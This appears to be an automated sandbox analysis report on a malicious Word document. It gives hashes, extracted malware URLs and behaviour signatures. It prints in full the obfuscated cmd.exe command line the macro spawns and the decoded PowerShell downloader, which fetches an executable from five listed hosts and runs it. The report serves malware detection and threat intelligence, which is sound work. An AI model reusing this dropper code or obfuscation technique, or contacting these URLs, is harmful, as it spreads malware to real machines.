Analysis
-
max time kernel
148s -
max time network
171s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2022 09:49
Behavioral task
behavioral1
Sample
603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc
Resource
win10v2004-20220812-en
General
-
Target
603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc
-
Size
145KB
-
MD5
2d09a7533f009b0f6cd0b9f237041761
-
SHA1
d4438568059da8dac7c76871f575867776674a96
-
SHA256
603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c
-
SHA512
bd6322e3baeb29ee7a86ce281f02659cc97cb188cdd70e2927c2260b74f8398b4d7e17caf5e99b2fcd3a333be89fc4de2ae50ff4186ee5a21f8cbd4b495ae767
-
SSDEEP
1536:N81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a96nDfPsPwSvURabL:N8GhDS0o9zTGOZD6EbzCdgDfPsIaH
Malware Config
Extracted
http://aspiringfilms.com/lJc7Qpx
http://kelvinnikkel.com/HgR
http://dayofdisconnect.com/O5Le4
http://joynt.net/PVP9Pn
http://craftww.pl//I1Db12jC
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4176 1964 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 28 2908 powershell.exe 30 2908 powershell.exe 51 2908 powershell.exe 61 2908 powershell.exe 71 2908 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
Processes:
cmd.execmd.exepid process 4176 cmd.exe 5008 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1964 WINWORD.EXE 1964 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2908 powershell.exe 2908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2908 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 1964 WINWORD.EXE 1964 WINWORD.EXE 1964 WINWORD.EXE 1964 WINWORD.EXE 1964 WINWORD.EXE 1964 WINWORD.EXE 1964 WINWORD.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WINWORD.EXEcmd.execmd.exedescription pid process target process PID 1964 wrote to memory of 4176 1964 WINWORD.EXE cmd.exe PID 1964 wrote to memory of 4176 1964 WINWORD.EXE cmd.exe PID 4176 wrote to memory of 5008 4176 cmd.exe cmd.exe PID 4176 wrote to memory of 5008 4176 cmd.exe cmd.exe PID 5008 wrote to memory of 2908 5008 cmd.exe powershell.exe PID 5008 wrote to memory of 2908 5008 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCmD /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$oNh='kRV';$qzi=new-object Net.WebClient;$TvV='http://aspiringfilms.com/lJc7Qpx@http://kelvinnikkel.com/HgR@http://dayofdisconnect.com/O5Le4@http://joynt.net/PVP9Pn@http://craftww.pl//I1Db12jC'.Split('@');$MwH='WUs';$Yuk = '235';$fwH='wMQ';$zAE=$env:temp+'\'+$Yuk+'.exe';foreach($UQF in $TvV){try{$qzi.DownloadFile($UQF, $zAE);$PwR='tQB';If ((Get-Item $zAE).length -ge 80000) {Invoke-Item $zAE;$Sdd='ckC';break;}}catch{}}$VtW='IHf';"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1964-132-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-133-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-134-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-135-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-136-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-137-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmpFilesize
64KB
-
memory/1964-138-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmpFilesize
64KB
-
memory/1964-150-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-149-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-148-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/1964-147-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmpFilesize
64KB
-
memory/2908-144-0x00007FFB09460000-0x00007FFB09F21000-memory.dmpFilesize
10.8MB
-
memory/2908-143-0x00007FFB09460000-0x00007FFB09F21000-memory.dmpFilesize
10.8MB
-
memory/2908-145-0x00007FFB09460000-0x00007FFB09F21000-memory.dmpFilesize
10.8MB
-
memory/2908-142-0x00000186334F0000-0x0000018633512000-memory.dmpFilesize
136KB
-
memory/2908-141-0x0000000000000000-mapping.dmp
-
memory/4176-139-0x0000000000000000-mapping.dmp
-
memory/5008-140-0x0000000000000000-mapping.dmp